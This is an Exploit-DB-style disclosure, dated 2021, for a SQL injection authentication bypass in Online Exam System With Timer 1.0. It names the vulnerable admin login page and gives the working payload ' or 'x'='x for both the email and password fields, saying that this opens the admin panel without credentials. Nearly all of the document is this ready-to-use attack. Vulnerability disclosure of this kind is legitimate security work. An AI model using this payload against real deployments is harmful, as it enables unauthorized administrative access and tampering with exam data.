Online Exam System With Timer version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.
# Exploit Title: Online Exam System With Timer 1.0 - 'email' SQL injection Auth Bypass
# Date: 2021-02-18
# Exploit Author: Suresh Kumar
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/13877/online-exam-timer.html
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4
# This application is vulnerable to SQL injection vulnerability.
# Vulnerable Page: http://localhost/CEE/adminpanel/admin/index.php
# Payload used:
Email => ' or 'x'='x
Password => ' or 'x'='x
# POC: Whenever we will go to the page (http://localhost/CEE/adminpanel/admin/index.php) when we inject SQL Payload then we will directly enter into the Admin Panel page.